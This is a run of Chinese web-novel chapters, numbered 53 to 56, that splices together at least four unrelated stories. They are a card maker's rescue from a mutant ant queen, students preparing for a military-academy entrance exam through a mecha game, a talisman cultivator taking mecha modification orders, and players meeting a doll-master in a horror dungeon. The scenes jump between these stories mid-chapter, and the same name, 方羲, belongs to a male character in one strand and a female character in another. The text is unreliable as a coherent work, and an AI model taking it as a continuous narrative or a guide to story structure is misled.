章 第 53 章 一名正在顶班的密匙玩家，忽然看见“收藏家”发送的消息，差点没一口水喷出来，他的双手一时间都有些发颤。 两小时后，黑天鹅给方羲发送了多份队伍名单。 方羲打开大概看了一眼。这几份名单当中，有几名密匙玩家固定不变，变的是部分实力虽然优秀，但天赋特性似乎不太常见、更针对于特殊战场的玩家。 【秦淮月、程蔓野、江簌、林镜子、姜渺、宋白玉、绪风……】 【黑天鹅001】：他们都是失乐园的现役首席玩家，进入过数场真实战场，相互之间默契度也相当高。如果以上玩家的天赋特性，不符合您的需求，请告知我们，我们会立即为你更替更适合的玩家。 这批二十人的队伍中，分别有四名造梦家，十六名猎人。全是声誉和实力极高的佼佼者，哪怕是普通的新晋玩家，也对其略有耳闻。 其中，程蔓野的造梦特性是【明灯】，江簌是【指南针】。 A级异核中蕴含的能量至少是F级异核的千倍，它被引爆之后产生的威力可想而知。 不过这一切当然波及不到躲在蚁皇的尸体后面的方羲等人身上去。 救援队的人循着爆炸声赶到的时候，方羲等人已经无聊的打起了扑克。 扑克是用蚁皇的壳做的，赌注是他们从那些变异皇蚁的尸体里掏出来的异核。 陈孝文身残志坚，拖着仅剩下的一条腿坐在方羲身后观战。 托他的福，方羲差点把自己的卡笔都输出去了。 所以在救援队的人冲进来，钱善静收起扑克，站起身，一脸郑重的朝着他伸出手，说出一句很高兴能够认识你，也非常希望能够和你交个朋友的时候。 方羲只说道：“那你会把你可怜的朋友打扑克输给你的异核还给他吗？” “那可不行。” 钱善静也笑了：“我输给了你这么多次，好不容易赢了你一回，又怎么可能会把战利品还给你。” “好吧！” 方羲也伸出了手：“很高兴认识你。” “也很高兴认识大家。” 他看向牧诏等人。 牧诏等人明白了，他们也都伸出了手，放在了方羲两人的手上。 “很高兴认识大家。” “我想我这辈子都不会忘记今天的。” 半个小时后，他们终于又回到了地面。 而地面上早就已经围满了闻讯赶来的记者和参赛选手家属。 看到两头火狮从地下冲出来，在场的包括执政官和卡牌协会的负责人在内的官员齐刷刷抬手擦了一把的汗。 人真的都救回来了。 他们的前途乃至于性命都保住了。 而看到方羲他们从飞行器上下来，一直紧紧拽着欧阳震华的手指的欧阳瑞直接就冲了过去。 但没想到的是，他还没有跑到方羲身前，三个人影就越过了他，先抱住了方羲。 那三个人可不正是谷大姨一家。 谷大姨直接就把方羲搂进了怀里，也不嫌他身上的味儿大。 “我们差点被吓死你知道吗？” “你要是出了什么事，我怎么跟你妈交代啊。” 方羲伸手回抱住了她，转而安慰她道：“没事了，没事了。” “我这不是平安回来了吗？” 欧阳瑞见状，只能闭上了嘴，乖乖的站在了一旁。 好一会儿，谷大姨才终于松开了他。 “没事了就好，没事了就好。” 方羲转头看向旁边的谷燕，直接张开了手。 谷燕：“……” 谷燕只是觉得，她都已经跟着谷大姨屁颠屁颠的跑过来了，好像也没有必要再别扭了。 于是她也张开双手跟方羲抱了一下：“恭喜你平安归来。” 然后是谷池。 方羲伸手摸了摸他的头发：“小池又长高了。” 看到这一幕，欧阳瑞看看谷池，又看看方羲，有些郁闷的用脚后跟蹭了蹭地面。 “还有小瑞。” 方羲直接弯腰把他抱了起来：“没想到你也来了，哥哥很高兴。” 欧阳瑞顿时笑弯了眼，他抱着方羲的额头就用力亲了一口：“哥哥你没事真是太好了。” 谷池：“……” 哥哥？ 谷池心中警铃大作。 他的位置好像被人抢了？ 而欧阳震华则是走向了牧诏。 看到牧诏完好无损，他也不由松了一口气：“没事就好，没事就好。” “先给你爷爷他们打个电话，他们也都很担心你。” 牧诏：“好。” 同样的场景还发生在宋约他们身上。 一时之间，整个平地上都被大哭声和大笑声笼罩住了。 而这一幕幕，也被半空中的直播球直播了出去。 【我是真没想到他们竟然还能平安归来。】 【谢谢天帝，谢谢父神，谢谢祖巫，谢谢母神，谢谢你们的保佑。】 【大难不死，必有后福，相信这些选手一定会越来越好。】 【牛掰！】 【原本我还有点担心方羲他们到了半决赛和决赛的赛场上会露怯，现在，自信心爆棚！】 但冯晋还是从这些密密麻麻的弹幕中，看到了方羲，以及他怀里抱着的欧阳瑞。 他怎么也没有想到，方羲都已经掉进了A级变异蚁皇的嘴里了，都还能逃出生天。 最主要的是，欧阳瑞为什么会跟他这么亲近？ 他是什么时候认识的欧阳瑞？ 像是猜到了他心中所想，一旁的陈通说道：“前段时间，学校后面的游乐场不是出了一场变异植物入侵事故吗？听人说，这位方羲同学当时也在那里，而且阴差阳错帮了欧阳小少爷一把，所以那段时间，欧阳小少爷几乎天天跑到学校来找他玩。” 这件事情，校长并没有宣扬出去，因为相比于招摇过市，他还是更喜欢闷声发大财，尤其是在方羲只是一个普通人的情况下，他得提防方羲跟冯晋一样，被乍然富贵迷昏了头。 ——在他看来，原本的冯晋是一个多么出色的学生，成绩优异，乐于助人，结果摇身一变成了欧阳家的恩人之后，不过两个月的时间，就变成了现在这样一副上不得台面的样子，而且欧阳老先生怎么暗示都没有用。 但这并不意味着陈通他们就没有办法从其他的渠道查到这件事情。 冯晋睚眦欲裂。 方羲的运气怎么就这么好，每次都让他碰到这样的好事。 还有就是，欧阳瑞拒绝了他的邀请，却天天去学校找方羲玩？ 一股前所未有的忌惮涌上冯晋的心头。 他转头看向其中几个大少爷大小姐，怒骂道：“你们之前不是答应过我，会尽快把方羲弄走的吗？” 那些大少爷大小姐的脸色也不太好看，毕竟除了他们的家人之外，可还没有人敢这么给他们脸色看。 但他们还是忍耐了下来：“我们也不想啊！” “可是我们赵家都已经给他开出了每年六千万星币的助学金了，都快赶上我们九房一年的开销了，但是他就是不答应去赵家啊！” 废物，一群废物。 冯晋怒不可遏。 然后他才反应过来。 这也就意味着，方羲还会继续留在第一中学。 最主要的是，他还会继续留在欧阳瑞身边。 万一方羲和欧阳震华他们哪天谈论起他当初救了欧阳瑞的事情来，发现当初他救了欧阳瑞的地方，就是方羲当初救人的地方…… 冯晋已经不敢继续往下想了。 所以他绝不能容忍这样的事情发生。 他明明已经给过方羲机会了。 六千万星币每年的资助已经不少了，只要方羲拿着它走人，自然什么事情都不会有，结果他竟然还不满足。 那就不能怪他心狠了。 看到这一幕，陈通几人的眉头直接就皱了起来，他把这些事情告诉冯晋，是为了提醒冯晋，先不要忙着去攀附豪门，骚扰贵族小姐，先去把欧阳瑞笼络好，毕竟现在欧阳瑞显然已经不是非他不可了。 可是看冯晋的样子，结果好像和他们想象中的有点偏差。 第十星这边。 卡牌协会的人又把方羲等人送回了崇化大酒店。 连着半个多月没有休息好，刚刚又经历了一场那样紧张的战斗，方羲他们洗了个澡，往床上一躺，直接就睡了过去。 等到方羲醒来的时候，已经是晚上的事情了。 他推开房门，只看见谷大姨坐在沙发上，也没开灯，更没有拉开窗帘。 “大姨？” 方羲走了过去。 再一看到她眼底的青黑，他直接就愣了一下：“大姨，你没有回房间休息吗？” 谷大姨抬头看向他，拍了拍身边的空位：“过来坐。” 方羲便依言坐了过去。 谷大姨问“接下来的比赛，你还想继续参加吗？” 她说：“我是真没有想到你能走到这一步。” “我有点担心会再发生今天这样的事情。” 方羲听懂了她的担心。 他只说道：“当然。” “而且我坚信再多的危险和困难都只会是我前进路上的垫脚石，我不一定会成为最耀眼的那个人，但我一定不会后悔做出这样的选择。” 谷大姨看着他眼底的光芒，默了默：“其实我是更希望你能够做一个普通的制卡师的。” 她郑重道：“但如果你想，那就努力去做吧。” “祝你成功，因为大姨到时候说不定还要求你帮个忙呢。” 昏暗的烛火骤然大亮。火焰跃动得更加热烈，照亮整个晦暗不明的空间。 活生生的毒蛇、蝎子，被豢养在一方小世界里，毫无还手之力。 木桌上躺着无数异端的残肢与尸骨，其邪恶气息有气无力地在空气中流动。 橘色生物蹲在桌子左边，兽瞳安静地注视着远道而来的客人。 而右边的藤蔓人偶，长发垂落在地，精灵之眼眨了眨，略有好奇地打量着这群人类，轻笑道：“啊，你们好像比普通的人类强壮一点。” 身披斗篷的灰发女性，微微抬眼，目光缓缓落在玩家身上。 双眼黑亮，唇边勾起一抹微笑，眼底却没有丝毫笑意。 “诸位好。” “初次见面，我是你们此行的眼睛。” 第 54 章 第 54 章 “暂且先坐吧。” 春醒反应极快，用藤蔓从里面的房间摆出十张哥特风的椅子，整齐陈列在茶桌边上。因为沙发长度不够，容纳不下二十名玩家。 “请等我一会。”人偶师微笑道，“我还有东西没有做完。” 秦淮月原本也想简单寒暄一番。不过她很快注意到收藏家的确在忙碌着什么，便按下话语，沉默。 其他密匙玩家也相当默契，各自找好座位。当然，他们也不留痕迹地把唯二的单人沙发“让”了出去，交给最适合作为领头代表的秦淮月，还有更擅长社交的宋白玉， 二人将作为接下来对话的代表者。 宋白玉嘴角抽搐了一下，这帮该死的损友……然后他的目光落回方羲身上，恰好地与那双深邃纯黑的双目对视。 不过能够重新拿回自己的账号，乔茜还是很开心的，与之相对的是，项俞生也把罗小白的账号给解封了，只是同样嘱咐他，说话，记得压低声音，要显得威严，有气场。 罗小白：…… 他与乔茜两脸懵逼。 尽管如此，因为高二课业的压力，虽然账号被解封，乔茜和小白还是有很长一段时间都没有再用自己的号登录GOO。 反正就如项俞生所言，用小号也可以完全满足她们的训练要求，而且这一年多来她们自己的账号都被封禁，如今，她们反而更习惯上小号。 最重要的是，随着高二课业难度的飙升，为了能够顺利获取到高二下学年各大军区军校的特招名额，他们不得不投入更多的精力在课业上。 所以这么一来二去的，两人竟是因为学习，反而把自己的账号给丢一边去了。 好在GOO内随着同批高仿号的逐渐出现以及军校严令禁止使用变声器交流规则的落实，原本疯狂的M7复兴大军的势头可谓是逐渐消散了下去。 转眼，又是一年过去。 等到乔茜和小白想起自己还有个正式GOO账号的时候，已经到了高二下半年即将面临各大军校特招的时候了。 基础课业方面，乔茜和小白紧赶慢赶算是低分飘过了特招所需的基础课业分数线，然而想要进入特招待定名额，他们依照所报专业的不同，还需要再去参加一次统考，并根据统考的分数段情况看能否获得待定名额。 待定名额确定后才是真正的考察，考察过后特招组还会再次根据考察结果择优录取。 “说起来，你们两个准备报考哪所军校？”同班同学询问起这个问题时，小白和乔茜都是异口同声且坚定的回答：“国防大学。” “啊，梦中情校。”感慨完后，同班同学看着小白和乔茜的成绩表，不免有些同情的表示：“不过，你们这个分很危险啊。” 提起这个，乔茜和小白就很忧伤，他们真的努力了，尤其是乔茜，总觉得凭藉着自己的智商，学习新时代的知识应该不成问题。 谁知道，最后学下来的结果，和小白一样，难兄难妹，半斤八两。 整整十五门课程的分数，她和小白在班内尚且还是中流，但放到特招上就有些……压线过的意思。 不过在同学的提醒下，两人这才想起一件大事，报名特招是有时间限制的，而她们必须用她们正式的光脑账户，而不是项俞生他们给的小号。 于是，时隔快两年多，两人再次登录上那个尘封已久的账号，迎接她们的，是如潮水一般不计其数的信息问候，而更为夸张的是，其中甚至还有军校发出的邀约函，表示想要邀请她们去进行游学。 可惜，全部的这些，都错过了时间。 不过两人忽然的上线，倒是立刻就吸引了一群人的注意，尤其是原本就有她们好友的叶司宇那一党人，看到她们上线犹如过年，各种各样的问候瞬间向两人涌来。 罗小白看着这一幕，很是干脆的下了号，转而用小号登录，他原本就不擅长于应对人际交往方面的事情，乔茜见状，也学着他，默默下了自己的账号，转而改用小号登录去查询目前特招的情况。 另外一边，看到乔茜和罗小白上线又秒下线，叶司宇他们都很忧伤，这么长时间不见，没想到对方还是这么神秘。 不过让他们没有想到的是，三天后，【小白】和【以理服人】的账号却出现在了联盟国防大学特招的报名名单中。 这一次报名，可是瞬间就炸出了不少人，首先是联盟国防大学那边，之前特招办的指挥系系主任一直以为这两人就是军部现役的军人，此刻看到两人居然以学生的身份报考了自家军校，当场没在办公室尖叫出声。 随后就是各路吃瓜群众的强力跟进，等到项俞生收到消息，说是又引起了新一轮舆情的时候，他忍不住再次询问了罗扬一句：当初的擂台赛，就那么有热度吗？ 罗扬很想说不是，他其实有认真分析过那四场擂台赛，固然也有亮点的地方，但到底只能算得上是中规中矩，甚至能够明显看到M7和飞翼机甲配合的破绽。 有些打法根本就是扯淡。 不过，让这个擂台赛视频热度一直居高不下的原因，罗扬思索再三，主要还是因为M7。 当时M7这款老式电控机甲沉寂许久，距离上一代M7大神统治战区实在是隔了太久，以至于乔茜忽然出现，立刻就吸引了大量的目光。 所以总结下来，他和项俞生现在流的汗，那都是当初项俞生脑子里进的水。 大量的关注度对于军校特招而言，原本是一件好事，但对于乔茜和罗小白而言，却反而不太好，项俞生和罗扬总担心两人会因为舆论的事情而发挥失常，甚至是，因为卷面分不够而直接初试就落选。 别的不说，如果之前的光环，现在都变成了群嘲，那这两孩子的心理该有多受伤呐。 所以脑子一抽，项俞生和罗扬两人跑去了军部那边，询问这件事能不能给处理一下，要么就不通过统考，直接进最终考察，要么直接联络GOO那边删号重新注册一个号报考。 可巧的是，联盟国防大学新上任的校长正在军部这边谈事情，听到这两人的打算，尤其是那句“不通过统考，直接进最终考察”那是气不打一处来，以至于后面的那些说辞，他都不愿意再听下去。 挥挥手要走之前，还不忘嘲讽项俞生和罗扬两人一句： “哼，没想到，军部如今也刮起了这不正之风，按理说来，家属子女我们一般都会给予优待，可是这优待都优待到特招上面去了，是不是有点太过了？” 军部首长听闻，微微一笑，刚想替项俞生和罗扬解释，谁知校长却直接表示，既然如今是他新官上任，那新官上任三把火，他眼里容不得沙子，任何人，都别想通过走后门的方式进入国防大学，更别提，今年军部还准备削减国防大的预算。 国防大近来是表现的不行，排名也上不去，喏，看看，看看这一屋子的关系户，能有得国防大什么好？ 校长越想心里越激动，他本来就是国防大出去的人，如今看到国防大不好，听着周围人嘲讽国防大是“久病成顽疾”，心里怎么不急？ 却没想到啊，还有人“手眼通天”，走关系都走到这军部首长这里来了，哼，谁不知道统考的难度最高，这最终考察真要让军部首长开了尊口，还不就是走个过场？ “名字叫什么来着，罗小白和乔茜是吧，我记住这两个人了，哎，你们等着，统考我就盯着这两人。”“不是。”“我心意已决，告辞。” 校长说完就走，几乎都没有给军部首长再次开口的机会，军部首长见状，只能转头用一种“你们两个是不是脑子抽抽了”的表情看向项俞生和罗扬。 项俞生和罗扬对视一眼，心里只有一个念头：完了，这……怎就横生枝节了？ 不是，这，这其实也不算是走后门嘛，原本小白和乔茜就收到过军校的游学邀约。 项俞生还意图挽尊，但军部首长已经先挥手打断了他说话的想法，告诉他们虽然能够理解他们什么叫“关心则乱”，但如今这新校长，也确实是准备办实事的。 “罢了罢了，人才嘛，总是要经历一些磨砺，只有经历了这些磨砺，锻炼了心性，这才能沉淀下一些东西，这是好事，啊，好事。” 听着军部首长都这么说了，项俞生和罗扬对视一眼，知道再无挽回的可能，只能先行从军部首长的办公室离开。 只不过两人出来后，还是恨恨的握了握拳，都怪他们，怎么就脑子抽了，想出这个馊主意。 可是，他们也是真怕了舆论了，他们受点影响没什么，那小白和乔茜，还小啊—— 看现在的热度，当真出了意外的话，之前网络上能捧他们有多高，说不定之后骂他们就会有多狠。 谁能一直不犯错的活在别人不停歇的审视之下呢？ 项俞生很愁，愁的连乔茜和小白都看出了他的异常，罗扬迫于无奈，找了个时间告诉了两人他们去见军部首长却不幸被国防大学校长给怼了一顿的事情。 “所以现在你们两个已经上了校长的黑名单。”罗扬说完这话，甚至都不敢看乔茜和小白的眼睛。 然而乔茜和小白对视一眼后，却笑了，安慰罗扬，也不必太自责，他们知道这种事情也是无法避免的。 “现在我们没有退路，反而可以尽全力一战。”乔茜说完这话后，看向了身边的小白，小白浅浅一笑，将手放到了罗扬的肩膀上，示意剩下的一切，交给她们就好。 罗扬有些诧异于小白的手劲，等到他认真看向小白的时候，才发现小白的个头不知何时窜了起来，再加上一直跟着项俞生在训练体能，如今倒是结结实实长了一身的腱子肉，看起来，仿佛已经能一个打他两个。 “我真是太过忽视你了。”罗扬说完这话就忍不住的伸手捂住了自己的额头，小白见状却是疑惑的歪了歪头。 五日之后， 到了联盟各大军校特招待定名额统考的日子，这天，需要报名的人员主动前往自己报名的军校录入信息，随后进行长达两天一夜的封闭式考试。 送乔茜和小白去联盟国防大学统考场地的项俞生和罗扬都显出几分不自在，尤其是项俞生，几番嘱咐下来之后，说得最多的话，便是如果两人落选了，那也别灰心，毕竟这只是特招，明年也能参加正式的考试，要是明年不行，那还有后年。 “总之，人生的路很长，一次的失败，不算什么的。” 项俞生说完这话，转头就发现乔茜和小白齐齐给他竖起了大拇指：“感谢你的这口毒奶，我们必会马到成功。” 项俞生：…… 然而当正式进入到考试场地之后，乔茜看着那汹涌的人潮以及特招信息录入门厅，莫名还是停下了自己的脚步。 “怎么了？”小白转头看向乔茜，乔茜也同时看向了小白，如今小白已经长得又高又壮，和过去早已判若两人。 “总感觉你已经走到我前面去了。”乔茜打量着自己的小细胳膊，得益于这些年不断的锻炼电控机甲，如今她的手指倒是被锻炼的又长又细。 “那要我等一等你吗？”小白忽然在乔茜面前蹲下身来，语气就好似在哄一个小孩一般，他浅笑着，阳光温柔的洒在他的脸上，让乔茜有了一瞬的失神，不过乔茜很快就回了魂：“不，如果你有能力，就先走，我会追上你的。” 这句话似乎似曾相识，小白见状，眼神一暖，拉过了乔茜的手握到了自己的掌心：“我相信你，我一直都相信你啊，会和我走在一起的。” “所以，不要怕。” 看着小白虔诚的样子，乔茜微微歪过了自己的头，也认真的轻笑起来点了点，随后深吸一口气。 “来吧，特招统考。” 这些年，从未松懈过一刻，为的，便是现在。 联盟国防大学，她来也！ 所以林镜子常常觉得自己很无能。也不明白自己为什么会被锚点建立者选中。 “哦，这个我知道，资料上面说了。”方羲说，“你只给我增益就好了，因为我的生命值比你们低很多。” 林镜子微微垂帘，这是她预料之中、也是习以为常的情况。 傀儡师们的生命值是最低的，但也是最重要的存在，所以必须把他们置于第一位。哪怕牺牲猎人也在所不惜。 林镜子正想回应收藏家的话，表示她会全力以赴庇护她的生命。 但人偶师却忽然说，语气极其随意，仿佛这是一件理所当然的事情。 “放心吧，在这场副本里，只要我还活着，其他玩家就不会死亡。” “所以你只顾及我就好了。” 第 55 章 第 55 章 全场静默了好几秒。 林镜子一时之间有些愣神。 方羲问：“在分队方面，还有什么疑问吗？” 方羲把目光落在秦淮月和姜渺身上，她们是这些密匙玩家当中，比较有话语权的两位。 姜渺眼眉一弯：“我没什么问题，全听你的安排！” 秦淮月也微微点头。 然后，方羲把蝴蝶吊坠，逐一按照分队发送。 萤火星地空电梯平稳匀速上升，地面越来越小，空中一个个萤火虫般的接驳岛逐渐清晰起来。 接驳岛围绕着跃迁星港建设，由四通八达的轨道联系在一起。像一个个罩着气泡的景观球，人来人往灯火璀璨，比地面还热闹。 “星港群星餐厅”招牌下，餐厅像个放大版三层蛋糕，小食窗口由奶油花边组成，满满食物香味溢了出来。 99+消息里，绝大部分是陌生账号的打招呼和好奇她身份的打探。方羲无视掉这些，一目十行地往下看，很快发现了夹杂在里面的十几份定制请求。 方羲轻笑。换了个世界画符，大家还是很有眼光的嘛。 马上就要复赛，方羲在路上没法接收需要改造的零件，也没空再乘飞船去当面为机甲加持符箓。 但其中一份，刚好在水蓝星。 方羲回掉其他的定制，询问来自水蓝星的定制详情。 定制买方回复前，方羲新买的东西先好了。 “萤火星特产星星梅果粉，椒盐，还是香辣粉？” “梅果。”方羲付款接过甜筒状的小三角杯。 刚出锅的炸物表面滋滋作响，金黄外壳撒上了浅红调料，油脂香味飘散。 才走出地空电梯的乘客们咽咽口水，迅速循着风寻觅，“什么好吃的这么香……天杀的，谁买走了最后一份！？” 方羲挑了一块炸云菇，裹着金黄面衣的小方块外酥里嫩，撒上本地的梅果粉，酸酸甜甜格外开胃。里面当真像云朵一样，咬一口，汁水就在嘴巴里哗啦啦下雨了。 方羲满足地弯起眼睛。这才是正常食物的味道嘛！不枉她连消息都没继续看，悬浮环最高速度冲锋抢吃的。 一丝微不可察的灵力融入身体，方羲一怔。 天然食物居然做出了灵食的效果？ 帮助恢复的灵力相对修炼九牛一毛，但蚊子腿也是肉。 方羲愉快地又吃了一块。嗯，等比完复赛，去找找水蓝星的餐厅。 买的飞船班次还有一会才到，飞船等候大厅里，正播放着最近最火热的机甲大赛新闻。 “据悉，时少将将代表军部，出席本次水蓝星系机甲大赛。嘉宾……” “呜——” 屏障开启的内部气流挤压声宛如鲸鸣，巨型飞船缓缓驶出跃迁星港，流线型飞船像一艘星球海洋时代的巨大游轮，遮天蔽日的，宇宙星云光辉都消失不见。 旅行飞船个头略小些，刷着不同的航线和公司标志，大部分私人飞船在它们面前像一群豆丁小鱼，散落在不同空岛外。 方羲在星际没独自旅行过，出门也是乘私人飞船。在公共飞船等候区，看着飞船如鱼群般聚拢又起落散开，还是个蛮新鲜的体验。 “那是……方羲？！”方绮一眼看过去差点没认出来。 瘦削少女在人人行色匆匆的杂乱大厅里宛如一幅画卷，漆黑眼睛映着宇宙星光，安静又热烈。 方羲显然最近休息得很好，病气完全消失了。 方绮嫉妒地盯着她，忍不住摸了摸自己掩饰不住的黑眼圈，往后藏了藏。 比赛后就被气的够呛吃了亏，方绮实在不敢像过去一样上去挤兑。 于蓝也看到了那个身高鹤立鸡群的身影，晃了下神，立刻道，“她肯定是故意和咱们一班飞船，来绮姐面前炫耀！太过分了！不就是个初赛第一，有什么了不起的！侥幸赢一次而已，取巧的成绩上去就原形毕露！” 其他同学找各种理由暂时不再同行，于蓝没能进复赛，只有继续讨好方绮一条路走。 “机甲设计，不仅看成绩，还是得落到实处。” 方绮被捧得露出笑容，打开方羲的选手个人主页，看着空空的商品栏，优越感油然而生。 于蓝配合道，“听说下个月，生机集团就要安排绮姐的设计上市了？这初赛第一也没什么用嘛，都没人找她定制改造。” 方绮心虚了一瞬，笑笑，“我们生机机甲集团欢迎新老设计师的投稿，我可以帮忙内投，以后大家都有机会推出自己的作品的。比赛只有到最后，才是真正的第一。” 方绮的光脑亮起传输成功提示，于蓝探头看了眼，吃惊道，“绮姐在投888号飞行器加速改造悬赏单？挂了好久了吧，我听说学校好多人都去试了，起码几千个试做的，没一个成功的。这四十万改造费，原来是在等绮姐！” 机甲师论坛上经常能看到匿名发布的改造悬赏，但不商用的情况下，部件改造费都不高。888号悬赏订单的改造费，跟机甲公司动辄百万千万商用技术收购没法比，但在个人定制中已经是天价。 年轻的机甲师们摩拳擦掌，却始终没人能让雇主满意。 方绮顿了一下，没说出口，她已经被拒绝了两次。 但……她这次用上了比赛时的设计，表明了身份。就算被方羲取巧拿走了第一，但只要有眼光的，都能看出这份设计的优秀。 “等拿到悬赏，请你吃饭。”方绮笑道。 于蓝立刻答应，“好欸！绮姐有公司机甲生产履历，接定制改造肯定能过，随便就是几十万几百万，奖金洒洒水啦。” 她俩凑在一起嘀咕着安慰自己，怕被看到，悄悄往后又退了退。 方羲神识敏锐，早就发现了他们。他们躲躲藏藏不敢来招惹，正好，她也懒得搭理。 方羲享受着美味，光脑接连震动弹出新消息。 【钱钱】：QAQ我没做梦吧？（尖叫）（跳跃）（开心到转圈圈撒花）神仙大佬居然回复我了！！！ 【钱钱】：我还以为您是纯研究型机甲师，不考虑接单了呜呜呜…… 【钱钱】：对不起对不起，我有点太激动了。咳咳，总之，订单不是商用，只是个人使用，我懂规矩，版权费和技术许可都可以签合同的。希望您能用比赛上的无名1号技术，改造流光系列飞行器，改造技术费50w星币。材料费用您看多少合适？ 方羲：……看出来了，陌生人只能发一条私信，真把人憋坏了。 方羲顺手改掉直播平台的资料，【不是无名设计。它名，神行千里甲马符。】 和光脑不同，飞行器和机甲很多技术相通，机甲师改造飞行器甚至算不上跨行。 方羲只加持符箓，改造哪个都一样。 方羲：【材料等见到飞行器再说，复赛结束后进行改造能接受吗？】 【钱钱】：！可以的可以的！！！啊啊啊大佬选中我的飞行器改造了，我何德何能能拿到第一份改造！大佬上架定制单吧，20%定金马上就拍！ 【钱钱】：嗯嗯理解的，比赛重要！我相信大佬的实力，一定给星网上那些唱衰的混蛋好看！ 方羲一怔，什么唱衰？ 方羲没有沉迷星网冲浪的习惯，点开一看，区域星网热搜第一。 #选手方羲止步海选# 方羲：？ 她怎么不知道她没法通过之后的比赛？ “大家都知道……小编也很想知道……这是为什么呢……”热搜新闻的一堆废话文学里，方羲挑出了唯一一句有效信息： “众所周知机甲师精力有限，单科做到极限需要多年心力，但机甲大赛考核内容全面，多年来偏科机甲师大多止步初赛。” 方羲往下翻了翻，机甲大赛相关新闻如今炙手可热，区域热搜十个词条里占了九个，随便点进去一个，不是质疑就是在为奇迹数据震惊。 距离初赛结束已经过去一天，词条里吵吵闹闹的议论声依然热闹极了。 #机甲大赛萤火星初赛爆冷，神秘无名设计登顶第一# #黑马方羲# #森之子7型 超音速# #0.1%改造度# 有意思的是，没有一条新闻挖掘了方羲身份背景。用膝盖想也知道，是她那位好大伯刻意压了下去。 唱衰的推力来自谁也很清楚了。想打压她，又不想做得太明显，虚伪得令人恶心。 唱衰的内容看起来很有道理，星际机甲已经发展出了许多方向，光是机甲型号就上万种。 机甲师需要的知识面很广，也有各自倾向。有的重在能源消耗，有的武器强，有的在拼接磨合上优秀，有的专精某类机甲……了解各类前沿技术并协调擅长对应技术的机甲师，组合成完成机甲，也是一种机甲师职业选择。 几乎没有人能擅长所有技术，做六边形战士。 但……机甲师做不到全能，跟符修方羲有什么关系？ 方羲按照约好的信息上架改造商品，在个人页面更新一条动态。 方羲：【承接各类方向改造订单。】 钱佳嘉上架秒拍，看见更新的动态喷笑出声，“好家伙，这是要打唱衰那群人的脸啊。” 笑完钱佳嘉又有些担心，赶紧发消息提醒，【大佬大佬，马上就比赛了，要不换个委婉点的回应？他们鸡蛋里挑骨头嘲笑人可烦了！连拿到第一，他们都能找离谱角度喷！】 方羲笑了笑：【那就先定个小目标，水蓝星系第一吧。】 钱佳嘉：！！！ 方羲忍了一下，觉得自己还是破大防了，指尖动了动，空气中凝现出一根无色的丝线。 啪嗒。 检票员的头颅瞬间掉落在地，血面刀削般平整。 “神经病。” “我是高贵的【上帝】，你的顾客。你作为一名工作人员，居然敢嘲讽客人。” “想必你一个月的工资，也只有三百根人类的头发吧，真是少得可怜。” “你的工作号多少？” 方羲冷漠地说：“我要投诉你。” 第 56 章 第 56 章 检票员滚落到地的头颅，瞬间静默了几秒，一脸惊恐，嘴巴愣愣地张成O型。 这个人类怎么知道自己的工资多少的？ 按人类月历来算，每个月三十天，恶魔甚至不愿意一次性结一个月的食物，平均每天给它发放十根人类的头发，大部分还是短短的头发。 检票员陷入沉默。 检票员不想工作了。 检票员的头颅静静地躺在地上，静静地看着这二十名人类毫无限制地穿过检票区，没有阻拦——当然，它也打不过。 方羲回头看了一眼身后巨大的星航场，并没有因为她的离开，而显露出虚幻的假象。 就这么走掉吗？ 从M7在地图上随手进行的进攻指认标识来分析，M7不仅在短时间内就分析出了杜鹏飞他们的行动轨迹、奔跑速度还确定了他们的进攻距离，而这一切，都是M7在烟雾弹落下之前，通过飞翼机甲的追逐数据与杜鹏飞队友移动时的数据分析出来的。 没错，【以理服人】在开局不到八分钟的时间内，不仅分析了杜鹏飞还同时分析了杜鹏飞的队友，之后在烟雾弹落下之前就决定好了要采用的战术。 烟雾弹一落下，M7一边将机甲进行变形，一边先发出了向杜鹏飞队友所在方位进攻的标识，这表明M7已经识破了杜鹏飞队友所在的进攻方位，如此，才能精准发起进攻。 而从进攻的秒数上看，M7当时的状态，可以说是开挂一样的开了“全上帝”视角，不仅知道杜鹏飞接下来会做什么，还能知道杜鹏飞的狙击子弹从哪里飞。 可这一波细致入微的观察，还不是让人感到颤抖的地方，接下来的战术决策才是她极为冷静又令人拍案叫绝的地方。 按理说来，这局比赛杜鹏飞才是最大的威胁，可在烟雾弹遮盖住视野，同时知道杜鹏飞一定会向他们发起进攻的瞬间，她还是有条不紊的让飞翼机甲先将高射炮射向了杜鹏飞的队友，打乱了其队友进攻的节奏，解决完“腹背之敌”后，他们才安心处理起杜鹏飞。 这意味着，从一开始，M7就已经做好了，全接下杜鹏飞狙击子弹的觉悟。 而从逐帧的对战画面来看，杜鹏飞其实在飞翼机甲的高射炮袭来前，就已经盲狙出了两发狙击子弹，这两发狙击子弹的角度都不同。 第一发狙击子弹被M7拦下，可当时M7的机甲完整度已经下降到了20%，虽然在0.5秒后靠着核心修理的推进，没有被系统判出局，但此刻她至少应该与队友主动完成站位上的轮换。 可没有，M7直接在下一发子弹到来前，像是早有预料一般的闪开了，同时飞翼机甲也像是早有预料一般的直接蹲下，用机甲较厚的手臂区扛下了这发狙击子弹，随后才对杜鹏飞进行反击。 所以，飞翼机甲才是半跪着发射高射炮的模样， 所以，M7才能维持住21%的机甲完整度。 可是，这怎么可能呢，叶司宇瞪大了自己的眼睛，无论再怎么反覆查看，叶司宇都不敢相信，杜鹏飞的两发子弹，真的是小白和乔茜不靠运气，而是靠实力接下的。 这简直逆天。 而在这一波的炮轰过后，飞翼机甲与M7彻底脱离了杜鹏飞队友的狙击范围，这让杜鹏飞的队员如果想要支援杜鹏飞的话，就不得不朝着两人移动。 叶司宇在这里感受到了M7的打算，熟悉的“回首掏”、熟悉的“措不及防”。 果然，大约在三分钟之后，原本一直追着杜鹏飞跑的飞翼机甲忽然一扔手里的高射炮炮筒，转身高速就朝着杜鹏飞队友所在的方向跑去， 杜鹏飞的队友没有杜鹏飞那种精准扔跳雷限制对方机甲移动的能力，骤然被飞翼机甲贴脸，一时间就乱了阵脚，而更令人感到恐怖的是，飞翼机甲锁到杜鹏飞队友的那一瞬间，却是将整台机甲的重点部位都躲在了杜鹏飞队友的身后。 M7更是直接躲到两台机甲的身后，隐藏起了自己的身形，就在杜鹏飞那边还在大呼乔茜她们“卑鄙”的时候，M7已经开始了十秒强火力推进的布置。 双方开始扭打的瞬间，飞翼机甲再次释放出了烟雾弹，这是一个非常明智的决定，因为有自己的队友也在乔茜她们这边，所以杜鹏飞也不敢贸然出枪。 但最后等待着他的，是队友激情的呐喊“快跑啊”，以及M7的又一轮强火力收割。 